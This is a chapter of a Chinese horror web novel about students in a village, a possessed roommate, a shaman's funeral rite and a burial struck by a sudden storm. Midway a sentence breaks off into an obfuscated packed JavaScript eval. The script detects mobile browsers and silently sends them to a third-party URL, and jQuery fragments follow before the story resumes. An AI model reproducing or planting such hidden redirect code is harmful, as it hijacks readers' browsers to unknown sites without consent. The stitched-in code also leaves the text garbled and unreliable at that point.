“把外套脱了,快点!”唐柏川冷静的男声响起。
孔浩被这句话成功点醒脱下外套,摆脱那几双手是,谁知又是一个趔趄。
好在一个矫健的身影冲过来,及时扶住了他的胳膊,一把将他拉进院里,而后关上院门,动作一气呵成,行云流水。
孔浩跪在地上,大口喘着粗气,身上的短袖早已被冷汗浸湿,脸上血色尽失,嘴唇不受控制地抖动,神情里丝毫没有大难不死的庆幸,有的只是后怕,像是丢了魂一样。
钱思泉刚躺回床上,又听到走廊上一阵喧哗,走出去一看,人们围在孔浩房间门前里三层外三层根本挤不进去。正准备回去,却看到唐柏川被围在人群中央,于是决定再看看什么情况。
孔浩房间的们猛地打开时,唐柏川正好路过,所以有幸站在第一排围观。
他眼睁睁的看着脱掉上衣的孔浩肩膀上、手臂上,都是大大小小的黑手印,正是他刚刚被抓住的地方。
孔浩踉踉跄跄的向他走来,口中绝望的重复道:“我不会死的吧,我不会死的吧,我不会死的吧……”
唐柏川想往后退,却被后面的人挡住了去路,硬着头皮对他说:“你先冷静下来,那些家伙暂时进不来,你现在很安全。”
这时不知道是哪个男人颤抖着开口:“你们看,他们三个现在还在外面站着,不会是要……”
唐柏川立即回头瞪着男人说:“闭嘴,他们要是能进来,早就进来了,用得着一直站在外面吗?”
男生看到唐柏川瞪着自己讪讪地闭上了嘴,退到一边。
唐柏川对着孔浩说:“现在赶紧把你们屋的符都找出来烧了,今天晚上应该会没事。”
“不行,”吕一鸣眼睛一转站了出来说,“这可是仙姑给的保护符,他要是把符烧了,半夜把什么奇怪的东西找来了怎么办?小孔,可不要听那家伙的鬼话,这是你自己的命,你要想清楚了。”
孔浩说:“对,不能烧,烧了我就彻底没命了!你要害我!”
唐柏川自知多说无益,只好起身离开,看来今天晚上孔浩是凶多吉少了。
钱、唐二人已经提前洗漱完坐在床上有一搭没一搭的分析着,一阵敲门声响起,两人对视一眼,实在是想不到这个点儿,还有谁会来找他俩。
一开门就看到陆梓萌站在门口左顾右盼,钱思泉开口问:“你来干什么?”
陆梓萌一看门开了立即挤了进来,松了一口气说:“那个今天早上的事……对不起呀,我知道这样不好,但是如果我一开始站出来的话,他们那么多人,我害怕……”
钱思泉:“你来就为了说这?”
唐柏川直接翻了个身,背对着陆梓萌。
陆梓萌有些伤感地收回目光,委屈地说:“那个曾老师不知道为什么很讨厌你们,总是说一些似是而非的话,你们小心点吧。还有,就是我一直都信你和川哥,我已经说服胜男姐她们把符纸烧掉了。”
钱思泉:“知道了,早点回去休息吧。”
陆梓萌:“还有就是……嗯,以后有什么帮得上忙的地方也可以叫我,所以你们要是有什么发现也一定要……”
钱思泉:“放心,不管怎样都会和大家说的。”
陆梓萌握住门把手,依然不甘心地回头看了好一会儿唐柏川的背影,等了一会唐柏川依然没有再次翻身的迹象,才无奈离开。
结果陆梓萌刚一出门,唐柏川就翻身起床把门插上。
第三天,直到刘老师过来吹哨子,众人才从床上爬起来,大家有序的排队洗漱,坐在桌子前吃饭。
钱思泉好奇地数了数,竟然一个都没少,便压低声音问唐柏川说:“怪了,昨天晚上竟然什么事也没有,但是总感觉事情没有那么简单。”
唐柏川皱着眉说:“昨天直到熄灯前,那三个家伙还在门前站着,不像是会善罢甘休的样子。今天重点关注一下孔浩,以防万一。”
在刘老师的带领下众人来到何老三家院子里,站在院子里有一个有几株葡萄藤和钢架子搭出的凉棚,等待其他村民到来。
院子中间是蓝色的灵棚,正中间是李桂兰的棺材,棺材通体红色,棺盖还没有封上。棺材前面是供桌,上面摆放着鲜花、牌位及香炉烛台等祭器,供桌上方悬挂李桂兰的遗像。
黑白遗像上的老人脸上沟壑纵横,眉头上的川字纹尤其明显,比它更醒目的是一条贯穿眉骨直到颧骨的伤疤,像是一条蜈蚣盘在老人脸上。尽管老人眼皮已经松弛,一双乌黑的眼睛依然亮而有神,眉头上的川字纹再加上有些下旋的鼻尖配上高鼻梁,衬得整个人的气质像鹰一样锐利。
看着遗像很熟悉,这不就是昨天被放在门口的那个遗像吗?
钱思泉默默攥紧兜里的黄符,再次观察遗像,果然又是这种对视的感觉。钱思泉莫名心慌,只是看了一眼,便看向别处,但是仍然感觉那双眼睛在盯着自己。
钱思泉忍不住想扭头再次确认,唐柏川扯了扯她的衣角,说:“她在往这边看,不要和她对视。要是她发现你能看到她,你会被缠上。”
钱思泉赶忙收回视线,说:“想不到你懂得怪多的么,在哪儿看的?”
唐柏川面无表情回道:“论坛。”
钱思泉一扭头看不远处站着的孔浩眉头一皱,孔浩完全站在凉棚下的阴影处,双眼目不转睛地盯着站在他斜前方的吕一鸣,嘴却紧紧抿着,吕一鸣找他说话,他也只是愣愣的点头,像个提线木偶。
钱思泉问:“你不感觉今天的孔浩有些怪吗?”
唐柏川盯着孔浩看了好一会儿,说:“孔浩之前有这么高吗?不对,他之前和吕一鸣一般高,现在怎么比吕一鸣还高小半个头。”
钱思泉定睛一看果然,孔浩高了吕一鸣一截,但是他周围的人,包括吕一鸣这个室友都没有任何反应,大家都紧张地观察着何老三的院子,一点风吹草动都都会引得他们一惊。
钱思泉低下头沉思,奇怪人怎么会一晚上长高这么多,更何况孔浩可是个成年人。这时,钱思泉的余光瞥到了孔浩的脚部,发现孔浩的脚脖竟然高出旁人一截。
钱思泉用胳膊肘碰了碰身旁的唐柏川,抬了抬下巴。
唐柏川立马看向孔浩,顿时心下一惊,低声说:“他现在穿着运动鞋不明显,你仔细看他在踮着脚,据说人被鬼上身的时候,后脚跟会抬起来。”
钱思泉紧张地扭过头问:“白天应该没事吧?”
唐柏川:“不好说。”
很快村民们也聚集过来了,最后压轴出场的是村长和仙姑。
仙姑摆好法坛和法器,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130319|180268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上前看了看李桂兰的尸体,深吸一口气,立即回头示意村长。
村长吩咐道:“把东西都端上来吧。”
几个年轻人立刻拎上来两只公鸡,抬出来一大缸白酒,以及一捆红线。
一个披着红布的中年男人赶忙上前阻拦,说:“不是说好等到中午吗?我大哥还没赶到间我妈最后一面,再等一会儿吧。”
村长睨了他一眼,冷哼一声说:“等不了了,开始吧。”
仙姑收到村长的指令,立即插上三炷香,踢掉脚上的鞋子,开始赤脚跳舞。舞步时快时慢,手部的动作却是大开大合,诡异的舞姿似乎是在和什么做着抗争。
忽然仙姑拿起法坛上的刀干净利落的抹了一只鸡的脖子,将鸡血绕着棺材淋了一圈,转过头来抹了另一只鸡的脖子,把鸡血放进碗里,用中指占取,在李桂兰额头上写了一道符,又在棺材盖内部写的一道同样的符,随后仙姑喘着粗气向年轻人招手。
几个年轻人立即合上棺材盖,可是在合上盖子的前一刻,钱思泉分明看到棺材里的老人睁开了双眼,死死盯着仙姑的位置。
钱思泉到抽一口气,下意识回头看向旁边的男人,果然唐柏川也看到了,此刻他正脸色发白地攥着自己的衣角。
这时村长浑厚的声音响起:“封棺。”
随着村长嘴里喊出“天钉封阳,地钉锁阴,生人退散!”的口诀,棺材板被长钉顶上。
仙姑又接过红绳开始一圈圈地缠绕棺材,突然,用来支撑棺材的木凳腿断了,一下子砸在仙姑的脚上,疼得她倒抽一口气。眼看着棺材要落地,仙姑顾不得自己的脚伤,忙俯下身扶住棺材,周围年轻力壮的又都冲上去帮忙。
总算是把棺材架好,仙姑在年轻人的搀扶下来到棺材头部,从怀里取出一张深紫色的符纸做了一系列手诀,而后向盛满鸡血的碗里加入墨水,用毛笔沾取,在紫色的符箓上画出众人从未见过的符文。
仙姑向村长点头示意,村长接着说:“还不快扶仙姑下去休息,老三让你儿子抱着遗像,你负责摔盆。”
何老三急忙说:“可是前几天跟大哥商量好的,这是大哥和他儿子……”
村长这回只是瞪了他一眼,何老三就老老实实拉着他儿子上前。
钱思泉听到村们开始窃窃私语,有的人想趁机溜走,但是被村长拦下了,不知村长跟他们说了什么,只见那位大爷惨白着脸回到了原来的位置。
众人跟随送葬的队伍来到一处背山面水的地方,在村子的正东边。这里大大小小隆起的坟包前面,每两个坟包有一个墓碑,走过去一看都是夫妻合葬的墓。
刘老师看到钱思泉站在那里观察墓碑,走上前说:“这里一般是家庭和睦,功德圆满的人才能进入祖坟,按照村里的习俗夫妻百年以后都是要合葬的,也就是俗话说的‘百年好合’。反之,家庭妻离子散的,不但是自己,就连孩子也入不了祖坟。”
钱思泉抬起头,看到刘老师一闪而过的落寞,有种说不出的怪异。
众人在一处坟包前停下,何老三用铲子刚挖起第一锹土,天就由晴转阴,大风卷起飞沙走石,不少人直接迷住了眼。乌云开始在天空中聚集,很快成片的乌云向下压来,遮天蔽日。云层间的光亮明明灭灭,而后是紧跟而来的雷鸣声响彻云霄。